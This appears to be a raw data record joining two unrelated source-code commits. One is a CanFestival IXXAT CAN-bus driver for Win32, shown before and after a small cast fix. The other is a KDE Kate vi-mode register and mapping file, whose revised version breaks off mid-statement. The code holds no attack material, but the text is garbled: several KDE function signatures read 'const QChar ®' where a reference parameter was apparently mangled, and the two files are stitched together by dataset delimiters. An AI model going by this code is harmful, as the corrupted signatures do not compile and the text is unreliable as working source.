Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*\/\n\/\/ pragma based message\n\/\/ http:\/\/www.codeproject.com\/macro\/location_pragma.asp\n#define __STR2__(x) #x\n#define __STR1__(x) __STR2__(x)\n#define __LOC2__ __FILE__ \"(\"__STR1__(__LINE__)\") : \"\n\n\n#pragma message(\"*********************************************************************************\")\n#pragma message(\" NOTE: IXXAT Win32 drivers and API should be installed in order to build this project!\")\n#pragma message(__LOC2__ \"See IXXAT.Cpp header for details.\")\n#pragma message(\"*********************************************************************************\")\n\n\n\/\/ IXXAT adapter driver for CanFestival-3 Win32 port\n\/\/\n\/\/ Notes\n\/\/--------------------------------------------\n\/\/ For building of this project you will need \n\/\/ the following IXXAT API files\n\/\/ Vci2.h\n\/\/ Vci11un6.lib\n\/\/\n\/\/ IXXAT Win32 drivers and API can be downloaded from\n\/\/ http:\/\/www.ixxat.com\/download_vci_en,7547,5873.html\n\/\/\n\/\/ Copy Vci2.h & Vci11un6.lib files to can_ixxat_win32 folder of add path to them in Project settings.\n\n\n#include <stdio.h>\nextern \"C\" {\n#include \"applicfg.h\"\n#include \"can_driver.h\"\n#include \"def.h\"\n}\n#include \"VCI2.h\"\n#include \"async_access_que.h\"\n\n#pragma warning(disable:4996)\n\n#define CAN_NUM 0\n\nclass IXXAT\n {\n public:\n class error\n {\n };\n IXXAT(s_BOARD *board);\n ~IXXAT();\n bool send(const Message *m);\n bool receive(Message *m);\n private:\n bool open(const char* board_name, int board_number, const char* baud_rate);\n bool close(); \n void receive_queuedata(UINT16 que_hdl, UINT16 count, VCI_CAN_OBJ* p_obj);\n \/\/ VCI2 handler \n static void VCI_CALLBACKATTR message_handler(char *msg_str);\n static void VCI_CALLBACKATTR receive_queuedata_handler(UINT16 que_hdl, UINT16 count, VCI_CAN_OBJ* p_obj);\n static void VCI_CALLBACKATTR exception_handler(VCI_FUNC_NUM func_num, INT32 err_code, UINT16 ext_err, char* err_str);\n \n private:\n UINT16 m_BoardHdl;\n UINT16 m_TxQueHdl;\n UINT16 m_RxQueHdl;\n async_access_que<VCI_CAN_OBJ> m_RX_Que;\n static IXXAT* m_callbackPtr;\n };\n\nIXXAT *IXXAT::m_callbackPtr = NULL;\n\nIXXAT::IXXAT(s_BOARD *board) : m_BoardHdl(0xFFFF),\n m_TxQueHdl(0xFFFF),\n m_RxQueHdl(0xFFFF)\n \n {\n char busname[100];\n ::strcpy(busname,board->busname);\n char board_name[100]; \n long board_number = 0; \n char *ptr = ::strrchr(busname,':');\n if (ptr != 0)\n {\n *ptr = 0;\n ::strcpy(board_name,busname);\n if (++ptr - busname < (int)::strlen(board->busname))\n board_number = ::atoi(ptr);\n }\n if (!open(board_name,board_number,board->baudrate))\n {\n close();\n throw error();\n }\n m_callbackPtr = this;\n }\n\nIXXAT::~IXXAT()\n {\n close();\n m_callbackPtr = 0;\n }\n\nbool IXXAT::send(const Message *m)\n {\n if (m_BoardHdl == 0xFFFF)\n return true; \/\/ true -> NOT OK\n long res = VCI_ERR;\n if (m->rtr == NOT_A_REQUEST)\n res = VCI_TransmitObj(m_BoardHdl, m_TxQueHdl, m->cob_id, m->len, const_cast<unsigned char*>(m->data));\n else\n res = VCI_RequestObj(m_BoardHdl, m_TxQueHdl, m->cob_id, m->len);\n return (res == false); \/\/ false -> OK \n }\n\n\nbool IXXAT::receive(Message *m)\n {\n if (m_BoardHdl == 0xFFFF)\n return false;\n VCI_CAN_OBJ obj;\n if (m_RX_Que.extract_top(obj))\n {\n m->cob_id = obj.id;\n m->len = obj.len;\n m->rtr = (obj.rtr == VCI_RX_BUF) ? NOT_A_REQUEST : REQUEST;\n if (m->rtr == NOT_A_REQUEST)\n ::memcpy(m->data, obj.a_data, m->len);\n return true;\n }\n return false;\n }\n\nbool IXXAT::open(const char* board_name, int board_number, const char* baud_rate)\n {\n \/\/ check, if baudrate is supported\n struct IXXAT_baud_rate_param \n { \n UINT8 bt0; \n UINT8 bt1;\n };\n struct IXXAT_look_up_table\n {\n char baud_rate[20];\n IXXAT_baud_rate_param bt;\n };\n static const IXXAT_look_up_table br_lut[] = {\n {\"10K\",{VCI_10KB}},\n {\"20K\",{VCI_20KB}},\n {\"50K\",{VCI_50KB}},\n {\"100K\",{VCI_100KB}},\n {\"125K\",{VCI_125KB}},\n {\"250K\",{VCI_250KB}},\n {\"500K\",{VCI_500KB}},\n {\"800K\",{VCI_800KB}},\n {\"1M\",{VCI_1000KB}}\n };\n static const long br_lut_size = sizeof (br_lut)\/sizeof(IXXAT_look_up_table);\n int index;\n for (index = 0; index < br_lut_size; ++index)\n {\n if (::strcmp(br_lut[index].baud_rate,baud_rate)==0)\n break;\n }\n if (index == br_lut_size) \n return false;\n \/\/ close existing board \n close();\n \/\/ init IXXAT board\n unsigned long board_type = VCI_GetBrdTypeByName(const_cast<char*>(board_name));\n long res = VCI2_PrepareBoard( board_type, \/\/ board type\n board_number, \/\/ unique board index\n NULL, \/\/ pointer to buffer for additional info \n 0, \/\/ length of additional info buffer\n message_handler, \/\/ pointer to msg-callbackhandler\n receive_queuedata_handler, \/\/ pointer to receive-callbackhandler\n exception_handler); \/\/ pointer to exception-callbackhandler\n if (res < 0)\n return false;\n m_BoardHdl = (UINT16)res;\n\n VCI_ResetBoard(m_BoardHdl);\n \n \/\/ init CAN parameters\n \n \/\/ initialize CAN-Controller\n res = VCI_InitCan(m_BoardHdl, CAN_NUM, br_lut[index].bt.bt0,br_lut[index].bt.bt1, VCI_11B);\n \n \/\/ definition of Acceptance-Mask (define to receive all IDs)\n res = VCI_SetAccMask(m_BoardHdl, CAN_NUM, 0x0UL, 0x0UL);\n\n \/\/ definition of Transmit Queue\n res = VCI_ConfigQueue(m_BoardHdl, CAN_NUM, VCI_TX_QUE, 100 , 0, 0, 0, &m_TxQueHdl);\n \n \/\/ definition of Receive Queue (interrupt mode)\n res = VCI_ConfigQueue(m_BoardHdl, CAN_NUM, VCI_RX_QUE, 50, 1, 0, 100, &m_RxQueHdl);\n\n \/\/ assign the all IDs to the Receive Queue\n res = VCI_AssignRxQueObj(m_BoardHdl, m_RxQueHdl ,VCI_ACCEPT, 0, 0) ;\n\n \/\/ And now start the CAN\n res = VCI_StartCan(m_BoardHdl, CAN_NUM);\n \n return true;\n }\n\nbool IXXAT::close()\n {\n if (m_BoardHdl == 0xFFFF)\n return true;\n VCI_ResetBoard(m_BoardHdl); \n VCI_CancelBoard(m_BoardHdl);\n m_BoardHdl = \n m_TxQueHdl = \n m_RxQueHdl = 0xFFFF;\n return true;\n }\n\nvoid IXXAT::receive_queuedata(UINT16 que_hdl, UINT16 count, VCI_CAN_OBJ *p_obj)\n {\n for (int i = 0; i < count; ++i)\n m_RX_Que.append(p_obj[i]); \/\/ can packet\n }\n\nvoid VCI_CALLBACKATTR IXXAT::receive_queuedata_handler(UINT16 que_hdl, UINT16 count, VCI_CAN_OBJ *p_obj)\n {\n if (m_callbackPtr != NULL)\n m_callbackPtr->receive_queuedata(que_hdl, count, p_obj);\n }\n\nvoid VCI_CALLBACKATTR IXXAT::message_handler(char *msg_str)\n {\n char buf[200];\n ::sprintf(buf,\"IXXAT Message: [%s]\\n\", msg_str);\n ::OutputDebugString(buf);\n }\n\nvoid VCI_CALLBACKATTR IXXAT::exception_handler(VCI_FUNC_NUM func_num, INT32 err_code, UINT16 ext_err, char* err_str)\n {\n static const char* Num2Function[] =\n {\n \"VCI_Init\",\n \"VCI_Searchboard\",\n \"VCI_Prepareboard\",\n \"VCI_Cancel_board\",\n \"VCI_Testboard\",\n \"VCI_ReadBoardInfo\",\n \"VCI_ReadBoardStatus\",\n \"VCI_Resetboard\",\n \"VCI_ReadCANInfo\",\n \"VCI_ReadCANStatus\",\n \"VCI_InitCAN\",\n \"VCI_SetAccMask\",\n \"VCI_ResetCAN\",\n \"VCI_StartCAN\",\n \"VCI_ResetTimeStamps\",\n \"VCI_ConfigQueue\",\n \"VCI_AssignRxQueObj\",\n \"VCI_ConfigBuffer\",\n \"VCI_ReconfigBuffer\",\n \"VCI_ConfigTimer\",\n \"VCI_ReadQueStatus\",\n \"VCI_ReadQueObj\",\n \"VCI_ReadBufStatus\",\n \"VCI_ReadBufData\",\n \"VCI_TransmitObj\",\n \"VCI_RequestObj\",\n \"VCI_UpdateBufObj\",\n \"VCI_CciReqData\"\n };\n char buf[200];\n ::sprintf(buf, \"IXXAT Exception: %s (%i \/ %u) [%s]\\n\", Num2Function[func_num], err_code, ext_err, err_str);\n ::OutputDebugString(buf);\n }\n\n\/\/------------------------------------------------------------------------\nextern \"C\"\n UNS8 __stdcall canReceive_driver(CAN_HANDLE inst, Message *m)\n {\n return (UNS8)reinterpret_cast<IXXAT*>(inst)->receive(m);\n }\n \nextern \"C\"\n UNS8 __stdcall canSend_driver(CAN_HANDLE inst, Message const *m)\n {\n return (UNS8)reinterpret_cast<IXXAT*>(inst)->send(m);\n }\n\nextern \"C\"\n CAN_HANDLE __stdcall canOpen_driver(s_BOARD *board)\n {\n try\n {\n return new IXXAT(board);\n }\n catch (IXXAT::error&)\n {\n return 0;\n }\n }\n\nextern \"C\"\n int __stdcall canClose_driver(CAN_HANDLE inst)\n {\n delete reinterpret_cast<IXXAT*>(inst);\n return 1;\n }\n \nextern \"C\"\n UNS8 __stdcall canChangeBaudRate_driver( CAN_HANDLE fd, char* baud)\n\t{\n\t\/\/printf(\"canChangeBaudRate not yet supported by this driver\\n\");\n\treturn 0;\n\t}\n<commit_msg>CHANGED: - added explicit cast to remove compiler warning<commit_after>\/*\nThis file is part of CanFestival, a library implementing CanOpen Stack.\n\nCanFestival Copyright (C): Edouard TISSERANT and Francis DUPIN\nCanFestival Win32 port Copyright (C) 2007 Leonid Tochinski, ChattenAssociates, Inc.\n\nSee COPYING file for copyrights details.\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n*\/\n\/\/ pragma based message\n\/\/ http:\/\/www.codeproject.com\/macro\/location_pragma.asp\n#define __STR2__(x) #x\n#define __STR1__(x) __STR2__(x)\n#define __LOC2__ __FILE__ \"(\"__STR1__(__LINE__)\") : \"\n\n\n#pragma message(\"*********************************************************************************\")\n#pragma message(\" NOTE: IXXAT Win32 drivers and API should be installed in order to build this project!\")\n#pragma message(__LOC2__ \"See IXXAT.Cpp header for details.\")\n#pragma message(\"*********************************************************************************\")\n\n\n\/\/ IXXAT adapter driver for CanFestival-3 Win32 port\n\/\/\n\/\/ Notes\n\/\/--------------------------------------------\n\/\/ For building of this project you will need \n\/\/ the following IXXAT API files\n\/\/ Vci2.h\n\/\/ Vci11un6.lib\n\/\/\n\/\/ IXXAT Win32 drivers and API can be downloaded from\n\/\/ http:\/\/www.ixxat.com\/download_vci_en,7547,5873.html\n\/\/\n\/\/ Copy Vci2.h & Vci11un6.lib files to can_ixxat_win32 folder of add path to them in Project settings.\n\n\n#include <stdio.h>\nextern \"C\" {\n#include \"applicfg.h\"\n#include \"can_driver.h\"\n#include \"def.h\"\n}\n#include \"VCI2.h\"\n#include \"async_access_que.h\"\n\n#pragma warning(disable:4996)\n\n#define CAN_NUM 0\n\nclass IXXAT\n {\n public:\n class error\n {\n };\n IXXAT(s_BOARD *board);\n ~IXXAT();\n bool send(const Message *m);\n bool receive(Message *m);\n private:\n bool open(const char* board_name, int board_number, const char* baud_rate);\n bool close(); \n void receive_queuedata(UINT16 que_hdl, UINT16 count, VCI_CAN_OBJ* p_obj);\n \/\/ VCI2 handler \n static void VCI_CALLBACKATTR message_handler(char *msg_str);\n static void VCI_CALLBACKATTR receive_queuedata_handler(UINT16 que_hdl, UINT16 count, VCI_CAN_OBJ* p_obj);\n static void VCI_CALLBACKATTR exception_handler(VCI_FUNC_NUM func_num, INT32 err_code, UINT16 ext_err, char* err_str);\n \n private:\n UINT16 m_BoardHdl;\n UINT16 m_TxQueHdl;\n UINT16 m_RxQueHdl;\n async_access_que<VCI_CAN_OBJ> m_RX_Que;\n static IXXAT* m_callbackPtr;\n };\n\nIXXAT *IXXAT::m_callbackPtr = NULL;\n\nIXXAT::IXXAT(s_BOARD *board) : m_BoardHdl(0xFFFF),\n m_TxQueHdl(0xFFFF),\n m_RxQueHdl(0xFFFF)\n \n {\n char busname[100];\n ::strcpy(busname,board->busname);\n char board_name[100]; \n long board_number = 0; \n char *ptr = ::strrchr(busname,':');\n if (ptr != 0)\n {\n *ptr = 0;\n ::strcpy(board_name,busname);\n if (++ptr - busname < (int)::strlen(board->busname))\n board_number = ::atoi(ptr);\n }\n if (!open(board_name,board_number,board->baudrate))\n {\n close();\n throw error();\n }\n m_callbackPtr = this;\n }\n\nIXXAT::~IXXAT()\n {\n close();\n m_callbackPtr = 0;\n }\n\nbool IXXAT::send(const Message *m)\n {\n if (m_BoardHdl == 0xFFFF)\n return true; \/\/ true -> NOT OK\n long res = VCI_ERR;\n if (m->rtr == NOT_A_REQUEST)\n res = VCI_TransmitObj(m_BoardHdl, m_TxQueHdl, m->cob_id, m->len, const_cast<unsigned char*>(m->data));\n else\n res = VCI_RequestObj(m_BoardHdl, m_TxQueHdl, m->cob_id, m->len);\n return (res == false); \/\/ false -> OK \n }\n\n\nbool IXXAT::receive(Message *m)\n {\n if (m_BoardHdl == 0xFFFF)\n return false;\n VCI_CAN_OBJ obj;\n if (m_RX_Que.extract_top(obj))\n {\n m->cob_id = static_cast<UNS16>(obj.id); \/\/valid for 11Bit ids\n m->len = obj.len;\n m->rtr = (obj.rtr == VCI_RX_BUF) ? NOT_A_REQUEST : REQUEST;\n if (m->rtr == NOT_A_REQUEST)\n ::memcpy(m->data, obj.a_data, m->len);\n return true;\n }\n return false;\n }\n\nbool IXXAT::open(const char* board_name, int board_number, const char* baud_rate)\n {\n \/\/ check, if baudrate is supported\n struct IXXAT_baud_rate_param \n { \n UINT8 bt0; \n UINT8 bt1;\n };\n struct IXXAT_look_up_table\n {\n char baud_rate[20];\n IXXAT_baud_rate_param bt;\n };\n static const IXXAT_look_up_table br_lut[] = {\n {\"10K\",{VCI_10KB}},\n {\"20K\",{VCI_20KB}},\n {\"50K\",{VCI_50KB}},\n {\"100K\",{VCI_100KB}},\n {\"125K\",{VCI_125KB}},\n {\"250K\",{VCI_250KB}},\n {\"500K\",{VCI_500KB}},\n {\"800K\",{VCI_800KB}},\n {\"1M\",{VCI_1000KB}}\n };\n static const long br_lut_size = sizeof (br_lut)\/sizeof(IXXAT_look_up_table);\n int index;\n for (index = 0; index < br_lut_size; ++index)\n {\n if (::strcmp(br_lut[index].baud_rate,baud_rate)==0)\n break;\n }\n if (index == br_lut_size) \n return false;\n \/\/ close existing board \n close();\n \/\/ init IXXAT board\n unsigned long board_type = VCI_GetBrdTypeByName(const_cast<char*>(board_name));\n long res = VCI2_PrepareBoard( board_type, \/\/ board type\n board_number, \/\/ unique board index\n NULL, \/\/ pointer to buffer for additional info \n 0, \/\/ length of additional info buffer\n message_handler, \/\/ pointer to msg-callbackhandler\n receive_queuedata_handler, \/\/ pointer to receive-callbackhandler\n exception_handler); \/\/ pointer to exception-callbackhandler\n if (res < 0)\n return false;\n m_BoardHdl = (UINT16)res;\n\n VCI_ResetBoard(m_BoardHdl);\n \n \/\/ init CAN parameters\n \n \/\/ initialize CAN-Controller\n res = VCI_InitCan(m_BoardHdl, CAN_NUM, br_lut[index].bt.bt0,br_lut[index].bt.bt1, VCI_11B);\n \n \/\/ definition of Acceptance-Mask (define to receive all IDs)\n res = VCI_SetAccMask(m_BoardHdl, CAN_NUM, 0x0UL, 0x0UL);\n\n \/\/ definition of Transmit Queue\n res = VCI_ConfigQueue(m_BoardHdl, CAN_NUM, VCI_TX_QUE, 100 , 0, 0, 0, &m_TxQueHdl);\n \n \/\/ definition of Receive Queue (interrupt mode)\n res = VCI_ConfigQueue(m_BoardHdl, CAN_NUM, VCI_RX_QUE, 50, 1, 0, 100, &m_RxQueHdl);\n\n \/\/ assign the all IDs to the Receive Queue\n res = VCI_AssignRxQueObj(m_BoardHdl, m_RxQueHdl ,VCI_ACCEPT, 0, 0) ;\n\n \/\/ And now start the CAN\n res = VCI_StartCan(m_BoardHdl, CAN_NUM);\n \n return true;\n }\n\nbool IXXAT::close()\n {\n if (m_BoardHdl == 0xFFFF)\n return true;\n VCI_ResetBoard(m_BoardHdl); \n VCI_CancelBoard(m_BoardHdl);\n m_BoardHdl = \n m_TxQueHdl = \n m_RxQueHdl = 0xFFFF;\n return true;\n }\n\nvoid IXXAT::receive_queuedata(UINT16 que_hdl, UINT16 count, VCI_CAN_OBJ *p_obj)\n {\n for (int i = 0; i < count; ++i)\n m_RX_Que.append(p_obj[i]); \/\/ can packet\n }\n\nvoid VCI_CALLBACKATTR IXXAT::receive_queuedata_handler(UINT16 que_hdl, UINT16 count, VCI_CAN_OBJ *p_obj)\n {\n if (m_callbackPtr != NULL)\n m_callbackPtr->receive_queuedata(que_hdl, count, p_obj);\n }\n\nvoid VCI_CALLBACKATTR IXXAT::message_handler(char *msg_str)\n {\n char buf[200];\n ::sprintf(buf,\"IXXAT Message: [%s]\\n\", msg_str);\n ::OutputDebugString(buf);\n }\n\nvoid VCI_CALLBACKATTR IXXAT::exception_handler(VCI_FUNC_NUM func_num, INT32 err_code, UINT16 ext_err, char* err_str)\n {\n static const char* Num2Function[] =\n {\n \"VCI_Init\",\n \"VCI_Searchboard\",\n \"VCI_Prepareboard\",\n \"VCI_Cancel_board\",\n \"VCI_Testboard\",\n \"VCI_ReadBoardInfo\",\n \"VCI_ReadBoardStatus\",\n \"VCI_Resetboard\",\n \"VCI_ReadCANInfo\",\n \"VCI_ReadCANStatus\",\n \"VCI_InitCAN\",\n \"VCI_SetAccMask\",\n \"VCI_ResetCAN\",\n \"VCI_StartCAN\",\n \"VCI_ResetTimeStamps\",\n \"VCI_ConfigQueue\",\n \"VCI_AssignRxQueObj\",\n \"VCI_ConfigBuffer\",\n \"VCI_ReconfigBuffer\",\n \"VCI_ConfigTimer\",\n \"VCI_ReadQueStatus\",\n \"VCI_ReadQueObj\",\n \"VCI_ReadBufStatus\",\n \"VCI_ReadBufData\",\n \"VCI_TransmitObj\",\n \"VCI_RequestObj\",\n \"VCI_UpdateBufObj\",\n \"VCI_CciReqData\"\n };\n char buf[200];\n ::sprintf(buf, \"IXXAT Exception: %s (%i \/ %u) [%s]\\n\", Num2Function[func_num], err_code, ext_err, err_str);\n ::OutputDebugString(buf);\n }\n\n\/\/------------------------------------------------------------------------\nextern \"C\"\n UNS8 __stdcall canReceive_driver(CAN_HANDLE inst, Message *m)\n {\n return (UNS8)reinterpret_cast<IXXAT*>(inst)->receive(m);\n }\n \nextern \"C\"\n UNS8 __stdcall canSend_driver(CAN_HANDLE inst, Message const *m)\n {\n return (UNS8)reinterpret_cast<IXXAT*>(inst)->send(m);\n }\n\nextern \"C\"\n CAN_HANDLE __stdcall canOpen_driver(s_BOARD *board)\n {\n try\n {\n return new IXXAT(board);\n }\n catch (IXXAT::error&)\n {\n return 0;\n }\n }\n\nextern \"C\"\n int __stdcall canClose_driver(CAN_HANDLE inst)\n {\n delete reinterpret_cast<IXXAT*>(inst);\n return 1;\n }\n \nextern \"C\"\n UNS8 __stdcall canChangeBaudRate_driver( CAN_HANDLE fd, char* baud)\n\t{\n\t\/\/printf(\"canChangeBaudRate not yet supported by this driver\\n\");\n\treturn 0;\n\t}\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of the KDE libraries\n * Copyright (C) 2008-2009 Erlend Hamberg <ehamberg@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) version 3.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#include \"kateviglobal.h\"\n#include \"katevikeyparser.h\"\n\n#include \"kconfiggroup.h\"\n#include \"kdebug.h\"\n#include <QApplication>\n#include <QClipboard>\n\nKateViGlobal::KateViGlobal()\n{\n m_numberedRegisters = new QList<QString>;\n m_registers = new QMap<QChar, QString>;\n}\n\nKateViGlobal::~KateViGlobal()\n{\n delete m_numberedRegisters;\n delete m_registers;\n}\n\nvoid KateViGlobal::writeConfig( KConfigGroup &config ) const\n{\n config.writeEntry( \"Normal Mode Mapping Keys\", getMappings( NormalMode, true ) );\n QStringList l;\n foreach( const QString &s, getMappings( NormalMode ) ) {\n l << KateViKeyParser::getInstance()->decodeKeySequence( getMapping( NormalMode, s ) );\n }\n config.writeEntry( \"Normal Mode Mappings\", l );\n}\n\nvoid KateViGlobal::readConfig( const KConfigGroup &config )\n{\n QStringList keys = config.readEntry( \"Normal Mode Mapping Keys\", QStringList() );\n QStringList mappings = config.readEntry( \"Normal Mode Mappings\", QStringList() );\n\n \/\/ sanity check\n if ( keys.length() == mappings.length() ) {\n for ( int i = 0; i < keys.length(); i++ ) {\n addMapping( NormalMode, keys.at( i ), mappings.at( i ) );\n kDebug( 13070 ) << \"Mapping \" << keys.at( i ) << \" -> \" << mappings.at( i );\n }\n } else {\n kDebug( 13070 ) << \"Error when reading mappings from config: number of keys != number of values\";\n }\n}\n\nQString KateViGlobal::getRegisterContent( const QChar ® ) const\n{\n QString regContent;\n QChar _reg = ( reg != '\"' ? reg : m_defaultRegister );\n\n if ( _reg >= '1' && _reg <= '9' ) { \/\/ numbered register\n int index = QString( _reg ).toInt()-1;\n if ( m_numberedRegisters->size() > index) {\n regContent = m_numberedRegisters->at( index );\n } else {\n regContent = QString();\n }\n } else if ( _reg == '+' ) { \/\/ system clipboard register\n regContent = QApplication::clipboard()->text( QClipboard::Clipboard );\n } else if ( _reg == '*' ) { \/\/ system selection register\n regContent = QApplication::clipboard()->text( QClipboard::Selection );\n } else { \/\/ regular, named register\n if ( m_registers->contains( _reg ) ) {\n regContent = m_registers->value( _reg );\n }\n }\n\n return regContent;\n}\n\nvoid KateViGlobal::addToNumberedRegister( const QString &text )\n{\n if ( m_numberedRegisters->size() == 9 ) {\n m_numberedRegisters->removeLast();\n }\n\n \/\/ register 0 is used for the last yank command, so insert at position 1\n m_numberedRegisters->prepend( text );\n\n kDebug( 13070 ) << \"Register 1-9:\";\n for ( int i = 0; i < m_numberedRegisters->size(); i++ ) {\n kDebug( 13070 ) << \"\\t Register \" << i+1 << \": \" << m_numberedRegisters->at( i );\n }\n}\n\nvoid KateViGlobal::fillRegister( const QChar ®, const QString &text )\n{\n \/\/ the specified register is the \"black hole register\", don't do anything\n if ( reg == '_' ) {\n return;\n }\n\n if ( reg >= '1' && reg <= '9' ) { \/\/ \"kill ring\" registers\n addToNumberedRegister( text );\n } else if ( reg == '+' ) { \/\/ system clipboard register\n QApplication::clipboard()->setText( text, QClipboard::Clipboard );\n } else if ( reg == '*' ) { \/\/ system selection register\n QApplication::clipboard()->setText( text, QClipboard::Selection );\n } else {\n m_registers->insert( reg, text );\n }\n\n kDebug( 13070 ) << \"Register \" << reg << \" set to \" << getRegisterContent( reg );\n\n if ( reg == '0' || reg == '1' || reg == '-' ) {\n m_defaultRegister = reg;\n kDebug( 13070 ) << \"Register \" << '\"' << \" set to point to \\\"\" << reg;\n }\n}\n\nvoid KateViGlobal::addMapping( ViMode mode, const QString &from, const QString &to )\n{\n if ( !from.isEmpty() ) {\n switch ( mode ) {\n case NormalMode:\n m_normalModeMappings[ KateViKeyParser::getInstance()->encodeKeySequence( from ) ]\n = KateViKeyParser::getInstance()->encodeKeySequence( to );\n break;\n default:\n kDebug( 13070 ) << \"Mapping not supported for given mode\";\n }\n }\n}\n\nconst QString KateViGlobal::getMapping( ViMode mode, const QString &from, bool decode ) const\n{\n QString ret;\n switch ( mode ) {\n case NormalMode:\n ret = m_normalModeMappings.value( from );\n break;\n default:\n kDebug( 13070 ) << \"Mapping not supported for given mode\";\n }\n\n if ( decode ) {\n return KateViKeyParser::getInstance()->decodeKeySequence( ret );\n }\n return ret;\n}\n\nconst QStringList KateViGlobal::getMappings( ViMode mode, bool decode ) const\n{\n QStringList l;\n switch (mode ) {\n case NormalMode:\n foreach ( const QString &str, m_normalModeMappings.keys() ) {\n if ( decode ) {\n l << KateViKeyParser::getInstance()->decodeKeySequence( str );\n } else {\n l << str;\n }\n }\n break;\n default:\n kDebug( 13070 ) << \"Mapping not supported for given mode\";\n }\n\n return l;\n}\n\nvoid KateViGlobal::clearMappings( ViMode mode )\n{\n switch (mode ) {\n case NormalMode:\n m_normalModeMappings.clear();\n break;\n default:\n kDebug( 13070 ) << \"Mapping not supported for given mode\";\n }\n}\n<commit_msg>fix krazy warning<commit_after>\/* This file is part of the KDE libraries\n * Copyright (C) 2008-2009 Erlend Hamberg <ehamberg@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) version 3.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#include \"kateviglobal.h\"\n#include \"katevikeyparser.h\"\n\n#include \"kconfiggroup.h\"\n#include \"kdebug.h\"\n#include <QApplication>\n#include <QClipboard>\n\nKateViGlobal::KateViGlobal()\n{\n m_numberedRegisters = new QList<QString>;\n m_registers = new QMap<QChar, QString>;\n}\n\nKateViGlobal::~KateViGlobal()\n{\n delete m_numberedRegisters;\n delete m_registers;\n}\n\nvoid KateViGlobal::writeConfig( KConfigGroup &config ) const\n{\n config.writeEntry( \"Normal Mode Mapping Keys\", getMappings( NormalMode, true ) );\n QStringList l;\n foreach( const QString &s, getMappings( NormalMode ) ) {\n l << KateViKeyParser::getInstance()->decodeKeySequence( getMapping( NormalMode, s ) );\n }\n config.writeEntry( \"Normal Mode Mappings\", l );\n}\n\nvoid KateViGlobal::readConfig( const KConfigGroup &config )\n{\n QStringList keys = config.readEntry( \"Normal Mode Mapping Keys\", QStringList() );\n QStringList mappings = config.readEntry( \"Normal Mode Mappings\", QStringList() );\n\n \/\/ sanity check\n if ( keys.length() == mappings.length() ) {\n for ( int i = 0; i < keys.length(); i++ ) {\n addMapping( NormalMode, keys.at( i ), mappings.at( i ) );\n kDebug( 13070 ) << \"Mapping \" << keys.at( i ) << \" -> \" << mappings.at( i );\n }\n } else {\n kDebug( 13070 ) << \"Error when reading mappings from config: number of keys != number of values\";\n }\n}\n\nQString KateViGlobal::getRegisterContent( const QChar ® ) const\n{\n QString regContent;\n QChar _reg = ( reg != '\"' ? reg : m_defaultRegister );\n\n if ( _reg >= '1' && _reg <= '9' ) { \/\/ numbered register\n int index = QString( _reg ).toInt()-1;\n if ( m_numberedRegisters->size() > index) {\n regContent = m_numberedRegisters->at( index );\n }\n } else if ( _reg == '+' ) { \/\/ system clipboard register\n regContent = QApplication::clipboard()->text( QClipboard::Clipboard );\n } else if ( _reg == '*' ) { \/\/ system selection register\n regContent = QApplication::clipboard()->text( QClipboard::Selection );\n } else { \/\/ regular, named register\n if ( m_registers->contains( _reg ) ) {\n regContent = m_registers->value( _reg );\n }\n }\n\n return regContent;\n}\n\nvoid KateViGlobal::addToNumberedRegister( const QString &text )\n{\n if ( m_numberedRegisters->size() == 9 ) {\n m_numberedRegisters->removeLast();\n }\n\n \/\/ register 0 is used for the last yank command, so insert at position 1\n m_numberedRegisters->prepend( text );\n\n kDebug( 13070 ) << \"Register 1-9:\";\n for ( int i = 0; i < m_numberedRegisters->size(); i++ ) {\n kDebug( 13070 ) << \"\\t Register \" << i+1 << \": \" << m_numberedRegisters->at( i );\n }\n}\n\nvoid KateViGlobal::fillRegister( const QChar ®, const QString &text )\n{\n \/\/ the specified register is the \"black hole register\", don't do anything\n if ( reg == '_' ) {\n return;\n }\n\n if ( reg >= '1' && reg <= '9' ) { \/\/ \"kill ring\" registers\n addToNumberedRegister( text );\n } else if ( reg == '+' ) { \/\/ system clipboard register\n QApplication::clipboard()->setText( text, QClipboard::Clipboard );\n } else if ( reg == '*' ) { \/\/ system selection register\n QApplication::clipboard()->setText( text, QClipboard::Selection );\n } else {\n m_registers->insert( reg, text );\n }\n\n kDebug( 13070 ) << \"Register \" << reg << \" set to \" << getRegisterContent( reg );\n\n if ( reg == '0' || reg == '1' || reg == '-' ) {\n m_defaultRegister = reg;\n kDebug( 13070 ) << \"Register \" << '\"' << \" set to point to \\\"\" << reg;\n }\n}\n\nvoid KateViGlobal::addMapping( ViMode mode, const QString &from, const QString &to )\n{\n if ( !from.isEmpty() ) {\n switch ( mode ) {\n case NormalMode:\n m_normalModeMappings[ KateViKeyParser::getInstance()->encodeKeySequence( from ) ]\n = 